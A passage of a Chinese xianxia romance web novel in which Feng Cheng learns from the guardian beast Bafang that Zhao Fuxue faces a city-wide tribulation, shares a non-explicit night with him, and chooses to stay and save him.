封澄翻墙入禁地时,备觉古怪——这赵家禁制重重叠叠,她也不防中了几次招,可谁知这警报竟安静如鸡,仿佛就当没看见她一样。 怪,封澄啧啧两声,没放在心上,接着往禁地去。 禁地的深秋,颇有些冰冷彻骨,禁地空无一人,封澄站在空谷呼啸的山林里,抬头喊道:“八方!” 片刻,便有山林摇动之声隐隐传来,紧接着便是一道扑面而来的罡风,封澄站着,长发被猛地卷到她的胸前,与她一身红衣一道飞扬,八方不知何时立在了她的背后,来去而无踪。 她没有回头,静静道:“赵负雪有难,你管不管。” 八方哼笑两声,紧接着,不紧不慢地踱步向前,巨大的身影笼罩着封澄,淡淡道:“小事不管,他又不是废物,再说了,你求人办事,竟然空手上门——啧。” 封澄懒得和它耍贫:“生死劫,今年冬天。” 八方懒洋洋踱步的脚霎时停住了。 它难以置信地回头,封澄甚至在它漆黑狭长的脸上读出了惊奇之意:“劫?他赵负雪此生死劫已在十几年前渡过,还是我亲眼见着的,这上哪里冒出第二个劫来?” 封澄皱眉道;“你说什么?” 八方不耐烦道:“你年轻便耳背了么——我是说,赵负雪命中的此生大劫早就过了,天魔袭杀,过了!哪来的第二个生死劫?一人命中塞了俩生死劫,老天爷耍人呢?” 怎么可能!刹那间,封澄心底掀起滔天巨浪。 八方懒洋洋道:“回去洗洗睡,你被谁吓唬了?明日去找那人算账,真是,拿这套出来吓唬人,缺不缺德。” 封澄茫然摇摇头:“……过段时日,他一定会出事,你信我,劫云密布,天雷加身,群魔……” 八方早已不耐地转身,向着竹林里面走去了:“说得仿佛你是亲眼见过似的,没有的事,洛京有我命阵,什么群魔瞎了眼,敢往洛京来?快滚快滚,耽误我安寝。” 说着,不待封澄阻拦,它便一个跃身,钻进了莽莽群山之中,任凭封澄如何呼唤,再也不肯出来了。 “不对,”封澄哪怕心焦,仍冷静无比,“八方为了护赵负雪,连皇宫也不守,多年守在赵家不出,凡有风吹草动,皆警醒无比,按理说如此挂心,碰上生死大事,岂会如此淡定。” 思来想去,封澄只能将这反应归结于这消息听起来太突然、太荒谬。 “今夜不宜闹出大动静,”封澄转身,向禁地外走去,“只能明天拜访过老尊者,过了明路,再来揪它。” 第二日,赵负雪倚在封澄的寝居门上,含笑看着她打哈欠:“昨夜睡得不好吗,今夜要不要来陪你?” 的确,与赵负雪同寝这段日子,她再未犯过难以安寝的毛病,说来古怪,只要沾上他身上的冷香气,封澄便仿佛吸了迷。药一样,一头就能睡倒。 一分居,封澄本人没什么意见,唯独吃惯了细槺的身体十分不适应,昨夜睡得乱七八糟,怪梦频出。 封澄困得一头扎进洗脸水里,被冷水狠狠地一浸,才缓缓地醒过神来,闷闷道:“不用,你名声要不要了。” 赵负雪哑然失笑,走上前去,按着她的肩膀,将人按在了妆台前,随即俯身从台上取下了梳子,笑道:“你若坏我名声,负责吗。” 封澄:“……” 她昨夜纠结了半夜才睡着,实在没精神一大早就和赵负雪拌嘴,她不回答,反而又打了个哈欠,赵负雪握着她发丝的手一顿,蹙眉:“怎么就困成这个样子…… 你昨夜做什么了。” 手中的发丝左右晃了晃,是一个摇头的幅度,赵负雪见她不想说,索性也不问,就这么安安静静地为封澄梳好头发,待二人坐上马车后,赵负雪拍拍她的脑袋,轻声道:“躺过来睡一会。” 封澄不扭捏,埋在他的膝上,寻了个舒服位置,便闭上眼,刹那便睡了。 *** 得益于人形自走安神香赵公子,封澄从马车上下来,再次见到周寻芳时,总算没哈欠连天了。 老尊者今日的打扮比从前封澄所见正式许多,封澄眼尖,甚至看到周寻芳的佩剑都换了剑鞘,看着宝光流转,极为尊严。 见面的地方选在了茶室,封澄进门时,才惊觉,屋中竟然只有周寻芳与赵年两人。 周寻芳见她与赵负雪来,平淡道:“来了?坐。” 赵负雪行了个后辈礼,封澄抱剑致意了一下,便坐了,周寻芳看着封澄抱剑,眼睛微微眯了一下,不动声色地瞧了一眼赵负雪。 茶室狭小,坐着便不得不面面相对,周寻芳慢慢道:“上次你来,我尚且不会烹茶,今日你尝尝,滋味如何。” 这话想必是对着封澄说的,赵负雪轻轻地歪了歪头。 封澄与祖母,竟在茶室见过面吗? 茶水清香,封澄心知这话是对她说的,于是便干脆端起来。 她自觉山猪吃不来细糠,无论是什么名茶,到她嘴里也只有苦与没那么苦的区别,赵负雪从前收集了不少好茶,意图在此道熏一熏她,结果她无论什么茶都是一饮而尽,硬是叫赵负雪当场沉默了。 本以为此时此刻也不例外,谁料封澄刚喝一口,眼睛便登时亮了:“甜的?” 不光是甜,连身上的灵力都隐隐地涌了起来。 周寻芳含笑道:“阿雪祖父的私藏,比阿雪寝居里那些干糙的东西能入口些,小子鲁莽,什么茶都敢往姑娘眼前摆。” 此时此刻,封澄莫名有种已经成为周寻芳座上宾的荒谬之感,赵家老家主的私藏——这岂是能入口些! 赵负雪无奈道:“又取笑我了,祖母。” 周寻芳冷哼一声,转头对赵年道:“把那东西装箱,送去封姑娘的屋子。” 赠茶后,几人便各自交谈起来,无非是讲讲近日所见所闻,封澄认真应着,忽然间,周寻芳便道:“封姑娘,当日你我于茶室中所言,论你心意,今时是否如旧?” 此言一出,四周一片寂静。 封澄感觉身边的赵负雪似乎有些茫然,可从二人的反应之中,也早已明白了二人所谈为何事。 他不动声色地滚动喉结。 封澄一怔,片刻便反应过来周寻芳所言为何,她想了想,抬眼,亮晶晶的眼睛看向她:“我心从未变过。” “原来如此。”周寻芳轻轻地叹了口气,看向赵负雪的目光之中,便多了几分痛惜。 赵负雪将周寻芳的神态看在眼底,他有些疑惑,偏了偏头,看着身旁静静饮茶的封澄,将疑惑按捺入心底,只待今晚再去询问封澄。 又坐了片刻,见周寻芳似乎又有事情要忙碌,封赵二人便告辞离去,临行前,封澄不忘把茶室的门关上。 二人一离去,沉默多时的赵年便疑惑道:“师尊与封姑娘可曾谈了什么吗?” 隔着窗,封澄看着二人并肩远去的背影。 那二人着同色白衣,并肩而行,亲密无间,仿佛一对壁人。 周寻芳不知想到了些什么,她转过身来,叹息道:“那日,我与封姑娘说了生死咒,也说了反咒,问她心意。” 赵年道:“姑娘所答为何?” 周寻芳沉默许久:“她说,乱世将起,人间生变,她无法承诺阿雪的今生,遑论来世。” 赵年愣住了。 良久,这位以精明强干闻名的天机院院长竟然有些结巴了:“可,可少家主已经……” 周寻芳疲惫无比地捏了捏鼻梁:“阿雪擅自行事,已将自己捆在了封姑娘的今生与来世——家主令,生死咒,他从一开始,便未想过离分。” 远远处,传来二人的笑闹之声,愈发显得屋内更漏之声寂寥宁静,赵年怔怔片刻,才道:“一时间,徒儿竟不知道谁更可怜些。” 周寻芳摇了摇头。 “——你还是年轻,自然瞧不出来,这姑娘心底压的东西太多,情意再浓,也被一同压得不显了。她不肯允诺,倒是珍重之举。随阿雪去罢,总归生死咒已经被阿雪妄自牵上,哪怕是若是真到了要行反咒的那一日,也是合该阿雪遭的。” 赵年左想右想,试图在脑中揪出那丫头深情款款的模样来,当即被骇出了一身白毛汗。 她难以置信地看着老神在在的周寻芳,硬是没想明白,家主火眼金睛,是如何从那一言不合就拔枪的血修身上瞧出隐而不言的情意的。 “大抵是疯了,家主。” 赵年如此大逆不道地想着。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 第71章不给我负责的机会…… 老尊者已收拾出院落,封澄作为晚辈,也不好总是拂去周寻芳的心意,于是便在赵负雪落脚了。 不知是不是意外,封澄这院子离赵负雪的院落甚近。 深夜落灯,备好的被褥干燥绵软,封澄躺在榻上,却睁着眼睛,毫无睡意。 今日,她又去寻八方时,八方连见都不肯见她了。 她几乎将禁地翻了个底朝天,举动堪称冒犯,可威严不可犯的镇国神兽八方却连面也不露一个,甚至连出手惩戒都没有,封澄逐渐地回转过味道来——与其说八方不把生死劫当回事,它这个态度更像是躲避。 是的,躲避。 封澄看着床帐,心中纷乱,翻了个身,单手枕在脑后,狠狠地叹了口气。 “明天即便把山凿了,”封澄心道,“也得见它一面。” 实在不行,就把她的来处向八方全盘托出,从前似乎听闻镇国神兽也有几分扭改前尘后世的神通,与它说起这些来,想必它不会觉得十分意外。 主意打定,封澄闭上眼睛,准备安寝。 忽然间,窗上轻轻一动,紧接着便是骤然的风声,封澄猝然睁开眼,扬声道:“什么人!” 赵家宅院,定然不会有什么作奸犯科的贼人,封澄喊出声的刹那便想明白来者何人了,果然,来着无可奈何地笑道:“喊这么大声音,明日晨起,祖母便该知晓我干了何事了。” 来着正是赵负雪。 他背着月光,散着长发,笑意盈满双目,封澄好气又好笑道:“堂堂赵公子,也做起这等越门翻窗的勾当来了。” 赵负雪不听,有些急切地凑过来,轻车熟路地拥她入怀:“我睡不着了……有些想你,嘶,别推别推,抱一下,马上回去。” 封澄怔住了。 在很久之前,她以为赵负雪生来便是那副了无生趣的冷淡模样,后来见了赵负雪失态,见了他大怒,才慢慢觉得他是个还会喘气的活人。 可少年时,清朗如风般的少年赵负雪,她却从未见过。 他鲁莽而青涩,有血有肉而生机盎然,有脾气,有眼泪,带着满怀的心意,喜怒哀乐都还在脸上。 这双手臂曾无数次拥过她。 在读书习字时,挥剑修符时,缠绵病榻时。 每次都极有分寸地停在了某个得体地距离上,从未像现在这般,深夜翻窗而来,只因思念难耐。 哪怕缠吻过数次,封澄终于在此时此刻,才有了二人身份转变的切实感。 她有些茫然地伸出手来,轻轻地回抱他,心底道:“……我也有些想你。” 可话到口中,却成了调笑:“谁家的公子这么不守夫道,让我看看。” 二人笑闹片刻,不知如何便闹到了榻上,封澄摸着赵负雪有力的心跳声,仰面看着他的脸。 他垂着眼睛,目不转睛地看着身下封澄,长发垂下,封澄轻轻喘息,偏头推他:“下来,很痒。” 说来也是,在长煌大原那些时日,二人虽夜夜睡在一起,动辄吻得难舍难分,可偏生总在该进一步时,极有默契地同时后退。 四周的暧昧气息几乎能将人生吞活剥,赵负雪紧紧地盯着她,许久,才从封澄身上起身,二人泾渭分明地躺在了榻上,赵负雪躺在封澄身边,有一搭没一搭地绕着她的头发,静默片刻,忽然道:“你想过成亲吗。” 话一出口,赵负雪便后悔了,他几乎能预料封澄的反应,果然,四周霎时便冷了下来。 那冷心冷肺的姑娘转过头来,一双桃花眼潋滟。 他大概也是知晓的,成亲一事于封澄而言,几不可能。 这段时间相处,没人比他更为清楚,封澄心中有人。 此时留恋于他,或许是看在他的皮相,或许是看在二人出生入死的情分,亦或者是一时排遣寂寞……总归无论如何,至少此时此刻,是扯不到成亲上的。 赵负雪当机立断,飞快地寻个别的话题将此事撬开,只求从封澄口中出的 冷情之词万万不要落到他的耳中。 谁知话未出口,唇边却忽然一温。 赵负雪的瞳孔猝然紧缩。 亲吻自己的师尊这件事,封澄干过不少次,可封澄却未曾敢亲吻自己的情人。 她紧紧地闭着眼睛,几乎是全盘侵占的姿态,赵负雪被吻得猝不及防,毫无抵抗地便被撬开了齿关。 他有些意外。 二人的亲吻,从来都是他主动去索取,封澄从不拒绝,次次都顺从,可赵负雪看得清楚,那顺从之中,分明是她对他的放纵,其中情意,全然埋在了这放纵之下。 这放纵令他次次灰心,又次次死灰复燃。 唇尖忽然一痛,似乎是封澄察觉到了他的走神,赵负雪回过神来,仰起头迎接她越发凶狠的吻。她的手逐渐攀到了他的颈上,封澄退开些距离,赵负雪听见封澄在他耳边喘息道:“……成亲?” 刹那天旋地转,赵负雪猛地便被她扣在了榻上,少女的手落在他的胸膛上,慢慢地挑起了寝衣。 她笑道: “无媒苟合,会不会唐突了赵公子?” 话这么说着,她手下的动作却不停,不过片刻,那寝衣便被除去,露出了赵负雪玉一般的胸腹。 炙热之息一触即燃,世间男子与女子之间,最为纯粹的悲欢便是如此。 向下行走时,封澄的手却忽然被捉住了。 封澄有些疑惑,低头看去,只见少年的脸烧得酡红,即便是在月色下也分外明显,他抓着封澄按在他小腹上的手,眼圈似乎有些通红。 他的声音哑得不像话:“……今晚,不好。” 封澄闻言,轻轻偏了偏头,奇怪道:“为什么不好?” 修士之间倒从来不讲什么大防,大家忙于修行,于情爱上倒是看得极轻,民间嫁娶于修士中不兴,也只这些世家略微讲究些。 赵负雪看着她,封澄并非不知世事的孩子,早已察觉到身下少年的变化,她只奇怪为何到了如此地步还能忍得。 从来游刃有余的赵公子艰难道:“没成亲。这种事,要成亲之后,才能……” 刹那时,封澄便破功笑出了声。 她依言从赵负雪身上滚下来,仰面躺下:“原来如此,是我唐突冒犯,赵公子多多体谅。” 身上骤然一空,甜香与温度同时从身上撤离,赵负雪心头也是一时有些怔。 方才那一刹,赵负雪的脑中过了许多事。 如若今夜就这么顺水推舟地与封澄行了那事,毫无疑问地,二人的联系将会更紧密一步,介时莫说是她心底的师尊了,即便是师祖,师祖爷爷,他都能理直气壮地要求封澄把人丢出去。 毕竟是有了更深的交流了,说到底有些名分。 可偏生,赵负雪心头硬是生了一股不愿。 这种灵肉相融的事情,不该在此目的下,稀里糊涂地成了。 手段有许多,可如此手段,却卑劣得过分了。 一旁的封澄却不知赵负雪心底经了何番纠结,方才这一闹,她也觉得有些累了。 说来奇怪,从前虽然觉得赵负雪身边好睡,可也没到了沾边就睡的程度,封澄强撑着眼皮,只觉得上下眼皮打得难舍难分,偏生此事赵负雪怔然躺在她身边,不知脑中想着些什么,竟然是不打算回自己院子去睡的样子。 她强打着精神道:“赵公子,你困不困?” 赵负雪回过神来,他伸出手,沉默地将封澄密密揽入怀中。封澄躺在他的臂弯中,一时间竟然更困了。 少年的体温比平常高些,蒸得身上冷香越发无孔不入,她听见赵负雪闷闷道:“困得真快,方才还那么精神。” 封澄听了好笑,作势便向下探:“本来可以更精神些,可惜赵公子不愿,你若是有意,现在也可以。” 她当年也是实打实地做了几年逆臣的,送上门来的花样层出不穷,大的小的荤的素的,什么没见过? 曾有个属下狗胆包天,不知信了哪条路的消息,寻了个肖似赵负雪的男子,扒光了往她榻上送,她醉醺醺进屋,见一个师尊好整以暇地等在榻上,当场便吓得酒醒,好好一个逆臣,吓得连寝屋都不敢回。 思及旧事,封澄忍不住有些哑然失笑。 没吃过猪肉,也是见过猪跑的。 谁料赵负雪对飞奔的野猪没有丝毫兴趣,反而这一摸可将赵负雪气笑了,他掀起被子,七上八下地将封澄团了个滚圆,封澄被包得猝不及防,茫然地探出头来,赵负雪寻了另一条被子盖着,没好气地把被子卷往怀中一拥,恼火道:“说是睡觉,就好好睡觉,若实在垂涎,不若明日去与我祖母商讨婚嫁一事,如何?” 这一婚嫁当即令封澄闭嘴了。 赵负雪见她沉默,反而更气了,他闭着眼睛,把人往怀里一塞:“就这么不想负责!一听婚嫁,连声音都不敢出了。” 封澄被他闷得险些喘不过气来,她把头往上一顶,终于得以呼吸。 “什么不想负责,”封澄笑道,“是赵公子不给我负责的机会,这可如何是好。” 倒打一耙! 赵负雪只觉得此日满嘴歪理,滔滔不绝,最为可恶,干脆上去狠狠地封住了封澄的嘴,几分啄咬,终于使她闭嘴了。 第72章 第72章封将军 次日凌晨,忽然便有人敲门了。 封澄听到门声,迷迷糊糊地撑起身来,她抬眼看看窗外天色,只见东面还是隐隐发白的样子。 这么早?这个时间会有谁来? 她起身,小心翼翼地绕过赵负雪,试图从赵负雪的身上绕下去,谁知刚刚撑在赵负雪身上,腰间忽然就搭上了一只温热的大手。 赵负雪睡得声音哑哑的,脸也有些红,迷糊道:“……这么早,上哪里去。” “有人敲门。” 赵负雪闭了闭眼,把手向下一压,将封澄按在了身上:“大概是祖母得消息了……我去开门。” 封澄挣扎;“?” 那侍从低头恭敬行礼,然后缓缓抬头道:“老尊者请封姑娘去议事堂一叙,少主不必跟来。” 这个时候,周寻芳把地方设在议事堂中,定然是有要事要谈。 被困在榻上的封澄闻言,连忙挣扎下去,披衣束发便下了床榻,道:“即刻就来。” 因时候匆忙,封澄也顾不得穿戴了,只取了一根木簪绾发,赵负雪静静倚着门框,看着她绾发,闷闷道:“这么早,这么急,还不叫我去。” 他长身玉立,长就一副祸国殃民的祸水样子,偏生浑然不觉,只有些萎靡地看着人。 封澄看着他,忍了忍,还是没忍住,上去吻了吻道:“等我回来,你想吃什么,我去早市带来。” 赵负雪未言,垂下眼去:“不必,早些回来。” 封澄点了点头,随即告辞。 待她赶到议事堂,却在看到面前之人时愣住了。 周寻芳坐于主座,左手边第一位置上,却坐了一个风度翩翩的青年。 这人身披漆黑长衣,,翘着二郎腿,坐态极为豪放,长发束了个马尾,在身后颇不安分,一摇一晃。而看人时,一双凤眼潋滟流光,只是略微一琢磨,却令人不得不注意到这双潋滟双目中的血色。 封澄看着青年的脸,有些迷茫,这人从未见过,可她便觉得极为眼熟。 周寻芳脸上的肃然之色稍稍缓释了些,她微微点头道:“来拜见这位大人。” 大人? 封澄更奇怪了,能在 周寻芳前如此翘着二郎腿潇洒自在的人极少,这青年又是何方神圣? 青年笑笑:“前几日才拆了我半座山头,今日便连人都认不出来了。” ——八方!? 封澄登时瞪大了眼,她指着八方,哆哆嗦嗦,难以置信道:“……你能变成人啊?” 八方微笑着站起身来。 封澄的眼睛更大了。 眼前翘着二郎腿的青年,有一条巨大的,漆黑的,毛茸茸的大尾巴。 这尾巴她也见过,它曾经拖在八方身后,存在感强得令人无法忽视。 “显然是不能的,”八方微笑道,“多少会有些露在外面的东西——但我今天,可不是来给你看我的尾巴的。” 封澄愣愣地点点头。 周寻芳清了清嗓子,沉声道:“八方大人夜观天象,观测到三十日后有一场前所未见的天劫冲击洛京,据天象所言,这劫与赵家息息相关,今日特请姑娘来,便是为商讨这天劫之事。” 劫? 刹那间,封澄看向八方,只见八方眯着一双凤眼,讳莫如深的样子,她转而看向周寻芳,周寻芳看着她,忧心忡忡地点了点头。 封澄沉默片刻,喃喃道:“三十天后吗。” 门好像并没有关严,初冬的风转着圈儿滚进来,吹得她周身冰冷。 周寻芳看着她,疲惫却认真道:“封姑娘,此事有我赵家一力承担,你对赵家的恩情,赵家深记,但——” “还请姑娘莫要再趟这趟泥潭了。” 此后,周寻芳再说些什么,封澄已经听不进去了。 八方皱了皱眉,俯身对周寻芳耳语几句,周寻看着封澄,叹了口气,转身退下。 恍惚间,封澄注意到,这山峦一样的赵氏家主,似乎踉跄了一下。 周寻芳退下后,议事堂中只有封澄与八方二人。 一时之间,一片寂静。 良久,她冷冷地盯着八方:“我说这些日子寻不到你的踪影,原来是做说客去了。” 今日封澄出来得着急,身上素软白色衣袍,只以一根素色木簪绾起长发,看着是柔软的模样,可看向八方时,那骇人的冰冷便从这柔软的躯壳下缓缓地挣扎出来了。 八方居高临下地看着封澄,一双凤眼里盈满笑意:“你这就误会人了,以周寻芳的为人,将你择出去难道是很奇怪的事情吗?况且——?” 封澄盯着他,并不回答。 “万魔横空出世,吞没天际,无数生灵奔逃,群魔之乱三日后,天降轰然雷鸣,万物归于尘埃。” “你想当英雄——可你有当英雄的本事吗?啊?” 八方慢慢地、平静地描述着如此可怖的景象,封澄却紧紧地看着他,目光中似乎有火苗在跃动;“你突然愿意见我,只是想给我泼一盆冷水?” 八方微笑道:“你是我见过最固执的人,泼冷水有什么用,泼开水都没用……我并没有向你泼冷水,只是想同你说,不要试着救一个本该死去的人。” 他欣赏着封澄骤然变色的表情,慢条斯理道: “那天并没有骗你,赵负雪的生死劫早已过了,可不知为何,三十天后,洛京的地劫却落在了他一个人的头上。” 封澄微微一怔:“你说什么?” 八方道:“听不明白吗?地劫,应在了活人的身上!本该是洛京之众承担的因果,统统报应在了赵负雪的身上。这不是你能管的事,你即便有天大的本事,也吞不下这样的因果!” 刹那时,封澄只觉得手脚冰冷彻骨。 八方落下,轻声道:“若执意救了他,便是害他,现在叫他去死,尚能留得全尸残魂。” 话音未落,一道凌厉拳风便冲着八方而去,八方面不改色地一格,双手将封澄的拳头半空格住。 “恼了?听不得他一句不好?”八方笑笑,“可我还要说。” 他附在封澄耳边,轻声如鬼魅: “当年赵负雪的生死劫,没过。” 一双好看的凤眼眯着,仿佛玩闹的猫儿般狡黠。 “是有人……是我逆了因果,强行将他救了回来,所以你看到了——作为逆转因果的报应,洛京一城的地劫,在二十年后应在了他区区一个人的头上。” 封澄不语,一拳被格住,又是凌冽一踢,正正踢在八方的小腹,轰然将人砸出几丈远。 他被扣在赵家议事堂的主座上,坚硬无比的浮雕被他砸出了一口巨坑,八方艰难咳笑两声,擦了擦脸上的血,接着道:“下手真狠……其实你也不必自欺欺人了,天下没有白做的买卖,有所得必有所失?” 八方的话,几乎将封澄的心口剜出了一个带风的漏洞。 镇国神兽不屑于说谎。 他说的是真的。 天降之劫,不可逆天而行。 在第一个生死劫时,幼年赵负雪只承受了失血而亡的痛苦,即便生命流逝的滋味再难受,那也是只承受他自己的痛,死了,渡劫失败了,便那么过去。 可被八方以逆天之法而救回后,赵负雪便身不由己地、奔在了逆天而行这条死路上。 于是第二个生死劫,他需要承受一座城的痛苦。 思及此处,封澄心如刀绞,她不由得去想,在经历第二个生死劫后活下来的赵负雪,又将面对如何可怖的因果。 “你对我说这些,是想要做什么。” 八方躺在坑中,抬起头,不知在看着什么东西。 他轻轻偏过头:“我要求你放手,放过他,让他顺利死去。” 封澄一言不发。 她绾发的木簪不知何时散了下来,早已不知去了哪里,少女立于肃严堂上,雪白着脸,墨发迎风而飞,简直像地府里钻出来的阎罗厉鬼。 不知为何,封澄并没有拿出血修的招数来对待八方,甚至连长生也未出鞘。 八方咳着血,目光却倏地落在了她腰间的长生上,他微微一怔,随即抬头,看向静立不动的封澄,轻声道:“……剑,你的剑,能给我看一看吗?” 封澄没有听到八方的话,她闭上了眼睛。 此时此刻,她内心仿佛苦柴焚烧,全然是疼痛与煎熬,哪里顾得上八方口中在说什么? 一边是岌岌可危的大劫,另一边是将赵负雪拉入更深绝境的苦楚。 “……” 八方又咳了两声,锲而不舍道:“剑……你把你的剑,给我看看。” 片刻,封澄伫立,回过神来,冷道:“这把剑到底有什么神通,一个两个的,皆神神叨叨。” 八方表情有些轻松。 虽然眼下的封澄是在呛人,可这表现,恰恰是回魂了。 方才她仿佛骤然被痛楚蒙了心智似的,简直像个嗜杀如命的偶人,八方不由得好奇道:“就这一会儿,你就想通了?” 封澄居高临下地看着他,转身,握剑向门外走去。 “想通了。” “他的生死由不得他,我能救他一次,就能救他第二次。” “为了什么没头没脑的因果看他去死?想也别想,哪怕是天道索命,也休想从我手里带走他。” 少女的长发无风而飞,她背着光,向门外走去。 八方怔了怔,忽然道:“你不问问他的意思吗?是想痛快死去,还是——” 回答他的封澄的冷哼。 “即便是他自己,也休想从我手里带走他的命。” 说罢,八方便沉默了,她走到门口,便伸手去推议事堂的大门,忽然间,身后传来遥遥一道声音: “封将军,”他道,“你还是如此不听劝。” 封澄按在门上的手陡然顿住了。 + 第73章 第73章携手共度 木门冰冷而厚重,封澄的手触在上面,只觉凉意一波一波地涌到心里去。 八方喉咙里发出嗬嗬的气音,旋即,漆黑气旋从他身上喷涌而出,浓云黑雾中,通体漆黑的、状似麒麟的大兽便鬼魅似的晃到了封澄的身边。 作为一只镇国的瑞兽来说,它的长相实在是与“瑞兽”两个字搭不上边,相反而之,这幽黑凶悍的模样以及喜食兵器的习性,令它更像一只主兵戈之祸的凶兽。 八方凉凉道:“还有一件事,需要同你知会一声。” “在后世中,你并不是死去了一年,而是已经过去了四十七年。” 说罢,八方便懒洋洋地向外走去,封澄骤然听闻此讯息,霎时 觉得头晕目眩,一时间连呼吸都变得凝涩起来。 “叛将之名身死,连尸身也没有——姜徵这四十七年里,拼死为你翻案,却每每被你那落井下石的未婚夫使绊子,天机军尚留你当年长枪,长煌铁骑只认你一人,你走的这四十七年,他们过得很苦。” 封澄狠狠地闭了闭眼睛。 她死了不是一年,是四十七年。 封澄的心头一阵一阵地泛起阵痛。 八方不说谎,那么大夏这四十七年,姜徵势单力薄,该生了多少变故? 身为叛将亲军的长煌铁骑,该蒙受多少不公? 八方将她眼中挣扎看在眼底,不紧不慢地补充,目光中含了些势在必得的笑意:“且,你师尊一人撑着大夏,差不多油尽灯枯了,我上次见他,他的伤势已重得无法出门——听说还有几个不长眼的宵小甚至敢去欺辱他。” 刹那间,封澄不由自主地想到了后世的赵负雪。 那时她还奇怪,赵负雪从来清冷自持端坐云端,好生生一个人,即便是蒙受大变,又岂会短短半年便成了那副阴晴不定的模样,现在一想,万事就能解释得通了。 后世已经过了四十七年。 四十七年,已经远远超过了她与赵负雪相处的时间,十倍有余。 封澄对后世赵负雪的细微陌生霎时被心头剧痛碾平。 秉着那病体,守着大夏残军残部,外有天魔苟延残喘,内有血修隐隐作乱,大夏内外,竟是他一个重伤之人苦力支撑的。 它盯着封澄,不肯错过她半个表情:“现在,我再说一遍,你走到我面前来,我即刻带你回去。” 这个提议对于封澄来说几乎是大旱卡恰逢甘霖,八方甚至对封澄的选择已经毫不怀疑。 谁知,封澄却静止了。 这静止过了许久,八方看着封澄,看着她逐渐平静下来,抬头道:“从现在到赵负雪劫起之时,后世会过多久。” 这意思很明显——现在还是不回去。 八方的脸霎时僵住了。 它转过头来,不知为何,封澄从一只大兽的脸上看出了恼羞成怒的神情。 “即便是如此,你还是决意去撞这堵南墙!我今天对你说的话,是半分用处也没有,你越晚回去,他越是凄苦,你听不懂吗?” 封澄定定地看着它,半晌,摇摇头,沉声道。 “也并非半分用处也没有,前些日子,我还打算留于此世,只当从前种种从没发生过。若非你今日所言,我大概不会回到后世了。” 八方微怔,它张了张嘴,忽然封澄话锋一转,似笑非笑道: “况且,事情真如八方大人所说吗?” 八方脸上的怔然之色不见了,取而代之的是几分警觉,封澄慢慢道:“照着您老对阿雪的样子来看,我若在他劫前回去,他不光要对上整个洛京的生死劫,或许还要对上镇国神兽使的绊子,到时候,即便他能扛住地劫,你也一定会让他死在大劫里。” 一人一兽遥遥相对,封澄已经飞快地整理好思绪:“到时候,我别说回去助我师尊一臂之力了,连能不能见到他都难说。” 八方不说谎,可他依旧懂得人类的诡辩。 它先以赵负雪的劫数因果动她心神,再骤然抛出后世时间流速不同这一撼人消息,最后再拿后世赵负雪命悬一线作饵,心神动摇间,跟它回去似乎是顺理成章的事。 封澄似乎听到了什么咬牙切齿的声音,八方怒气冲冲地横了她一眼,目光中所含情绪在“朽木不可雕也”和“你爱死不死”之间,似乎有脏话在喉头滚动,良久,它瞥了一眼她腰间的长生,一言不发地转身,头也不回地踏云而去了。 封澄定定地站在原地,待八方走后许久,她才脱力一般,缓缓地蹲了下来。 “……” 她狠狠地掐了自己一把,确认自己目前是清醒的。 四十七年之后。 封澄没有料到,眼睛一闭,竟然就过去四十七年了。 故人相见,大概都已经见面不识了吧。 良久,她才收拾好自己的情绪,缓缓地站了起来,向着周寻芳为她安置的居所艰难走去,心神动摇之间,竟未发觉身后有一身影一闪而过。 *** 八方所测算的应劫之日越来越近,洛京天机师与皇宫之中也是越发紧张起来,无数生的熟的面庞出入于赵家,封澄甚至看到久久避世的楚家出现在了赵家议事堂中。 除了洛京民众一无所知之外,众天机师几乎把心提到了嗓子眼上。 事态忙乱之中,周寻芳本想将封澄送离,可最终,封澄还是留下了。 原因无他,洛京生乱,血修如同嗅到血腥气的鬣狗一般蠢蠢欲动,作为当世煞气最重的血修,封澄镇在赵家亮了枪,杀了不少血修,众血修霎时便不敢明面生乱,省下了众人不少精力。 收枪回身时,封澄恰恰看到站在一旁的周寻芳,周寻芳看着她,不知为何,封澄莫名觉得她的眼中似乎有几分她看不懂的东西。 良久,她只沉默着递来一件披风,抚去封澄肩上的雪。 这些日子过得仿佛梦一般,待封澄回过神时,转眼二十几日过去了。 时日飞快。 封澄这几日里专心随着周寻芳准备劫前之事,赵负雪也是符阵的高手,也带人去洛京中布防,二人一道忙碌,封澄回来时,赵负雪大都在外未归,可待赵负雪回来时,封澄大都蜷在他的枕上,筋疲力尽地睡着了。 他不叫醒封澄,只拥着她小睡片刻,凌晨之时,再领人去接着布防。 大劫之日将至,布防也已临近尾声,二人也终于碰上了能秉烛夜谈的时候。 是夜,她正坐于书案前,整理赵年送来的符篆,烛火有些昏暗,她看符看得眼疼,便起身剪烛。 忽然身后有熟悉的冷香包过来,紧接着一只手便按住了封澄的手背,接过烛剪,有些疲惫地笑道:“今天怎么睡得这么晚。” 回头一看,不是赵负雪又是谁? 她把头往赵负雪身上一靠,揉了揉眉心道:“明日你便要去应劫之地,我有些不放心,所以睡不着。” 赵家选定了洛京京郊的准风山作为应劫之地,明日卯时,赵负雪便要前往准风山了。 赵负雪听闻,略微垂了垂眼睛,随即把下巴搁在了封澄的头顶:“不必担心。” 令封澄有些意外的是,赵负雪在得知地劫之事时,出人意料地平静。 八方与周寻芳斟酌许久,尚不忍告知赵负雪,最后还是封澄看着周寻芳犹豫,才将赵负雪揪出来,把劫数一五一十地告知了赵负雪。 这消息若落到旁人头上,几乎等同于死讯。 可赵负雪只看着周寻芳忽然苍老的眼睛,很平静地道:“祖母,应当让我早些知悉的。” 说完这句没头没脑的话,他便告辞离去。 赵负雪轻轻亲吻封澄的发顶,摩挲着她并不柔软的手指,良久,轻轻地摇了摇头。 封澄未曾戴上的、生死咒的指环,始终贴身挂在他的颈上。 “……还不是时候。”赵负雪想。 眼见着符咒也看不出什么花儿来了,说到底还是要见招拆招,封澄索性将符咒一放,起身道:“洛京上下皆慌出个花儿来,独你这个应劫之人淡定,给我看看,心怎么长的,给怎么这么大?” 眼见着封澄又变成那副不着调的调笑样子,赵负雪把头埋在她颈上,闷闷地笑了,半晌,抬起她的手便往衣襟里面探:“手过来,给你摸摸。” 封澄瞪大眼睛,随即一抽手,瞅着赵负雪看了看又看,咬牙切齿道:“只消停这两天,有什么事,也只渡劫之后再说。” 赵负雪垂下眼睛,不动神色地平息过速的心跳。 在封澄抽回去未曾触摸的赤/裸胸口,素纹的指环贴着他的心脏,已经隐隐发烫了。 不急,他心道。 封澄察觉到他走神,手在他面前晃了晃:“回 神,在想什么?” 赵负雪看着她,笑了笑:“没什么,就寝吧。” 